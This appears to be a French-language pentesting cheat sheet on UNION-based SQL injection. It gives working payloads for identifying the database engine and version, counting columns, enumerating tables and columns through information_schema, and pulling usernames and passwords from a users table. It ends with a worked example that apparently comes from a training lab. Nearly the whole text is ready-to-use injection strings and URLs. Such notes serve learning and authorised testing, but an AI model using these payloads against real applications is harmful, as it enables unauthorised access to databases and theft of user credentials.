SQLI
Détection des Vulnérabilités d'Injection SQL
Analyse Manuelle
Voir cette listes de tests :
Analyse automatique
Identifier le type et la version de la BDD
Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
SQLite
sqlite_version()
Exemple : ' UNION SELECT @@version, NULL #
Les colonnes de la requête d'injection doivent correspondre en nombre et type de données à celles de la requête originale. Sinon, des erreurs surviennent ou les données ne s'affichent pas correctement. Utilisez des valeurs NULL
pour compléter les colonnes manquantes et éviter des erreurs de syntaxe.
UNION
L'injection SQL par UNION permet d'ajouter les résultats d'une ou plusieurs requêtes SELECT à la requête SQL d'origine pour extraire des données supplémentaires.
Exemple : Si la première requête sélectionne les noms et les âges des employés, et la deuxième requête sélectionne les noms et les postes des managers, UNION
combine ces résultats dans un seul tableau.
SELECT name, age FROM employees
UNION
SELECT name, position FROM managers;
Conditions :
Nombre de Colonnes : Les requêtes doivent renvoyer le même nombre de colonnes.
Types de Données : Les types de données des colonnes doivent être compatibles.
Détermination du Nombre de Colonnes
Test avec ORDER BY
ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
https://exemple.com/products?category=Gifts' ORDER BY 1--
https://exemple.com/products?category=Gifts' ORDER BY 2--
https://exemple.com/products?category=Gifts' ORDER BY 3--
ORDER BY 1--
trie les résultats selon la première colonne.
Teste avec des valeurs NULL :
' UNION SELECT NULL-- (1 colonne)
' UNION SELECT NULL, NULL-- (2 colonnes)
https://exemple.com/products?category=Gifts' UNION SELECT NULL--
https://exemple.com/products?category=Gifts' UNION SELECT NULL, NULL--
UNION SELECT NULL--
teste une seule colonne.
Lister le contenu de la base de données
La plupart des types de bases de données (à l'exception d'Oracle) disposent d'un ensemble de vues appelé information_schema.tables
. Cela fournit des informations sur la base de données.
Liste des Tables
MySQL :
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = DATABASE()--
Oracle :
' UNION SELECT table_name, NULL FROM all_tables--
PostgreSQL :
' UNION SELECT table_name, NULL FROM information_schema.tables--
Liste des Colonnes
MySQL, PostgreSQL :
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'--
Oracle :
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS'--
Extraire nom BDD, tables et colonnes
#Récupérer les noms de toutes les BDD
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Récupérer les tables
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Récupérer colonnes
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Extraction de données réelles
Une fois que vous avez identifié le nombre correct de colonnes, vous pouvez remplacer NULL
par des requêtes pour extraire des données réelles :
https://exemple.com/products?category=Gifts' UNION SELECT username, password FROM users--
Cette requête fusionne les résultats des noms d'utilisateur et mots de passe avec les résultats de la requête d'origine.
Oracle spécificité
Oracle impose une syntaxe spécifique pour les requêtes SQL. Chaque requête SELECT
doit inclure le mot-clé FROM
et spécifier une table valide. La table par défaut DUAL
est souvent utilisée à cette fin.
Tester la comptabilité
Objectif : Identifier les colonnes qui peuvent contenir des chaînes de caractères.
Méthode : Soumettre des payloads UNION SELECT avec des valeurs de chaîne dans chaque colonne pour tester la compatibilité des types de données.
Exemples :
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a' FROM DUAL-- #si Oracle
Erreur : Si une erreur
Si une erreur survient (par exemple, Conversion failed when converting the varchar value 'a' to data type int
), cela signifie que la colonne ne peut pas contenir de chaînes.
Lorsque les chaînes de caractères ne sont pas acceptées, explorez les colonnes avec des types de données alternatifs comme des nombres, des dates, et des valeurs booléennes.
Exemples de requêtes d'exploitation :
' UNION SELECT'username' 'password'FROM users WHERE username = 'administrator'--
Avec concaténation (voir cheat sheet pour syntaxe) :
' UNION SELECT NULL,username||'~'||password FROM users--
---
Exemple Pratique avec MySQL :
Vérifier le Nombre de Colonnes :
Testez avec une requête simple pour vérifier le nombre de colonnes renvoyées :
'+UNION+SELECT+'abc','def'--
Observation : Cette requête permet de vérifier le nombre de colonnes. Si la réponse contient
'abc'
et'def'
, cela indique que la requête originale retourne deux colonnes.
Lister les Tables :
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
Observation : on observe la table
users_lugkan
.
Lister les Colonnes de la table :
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_lugkan'--
Observation : Vous trouverez les colonnes de la table, comme
username
etpassword
.
Extraire les Données :
Utilisez la requête suivante pour extraire les données des colonnes :
' UNION SELECT username, password FROM users_lugkan--
Observation : On obtient le contenues dans les colonnes
username
etpassword
de la tableusers_lugkan
.
Last updated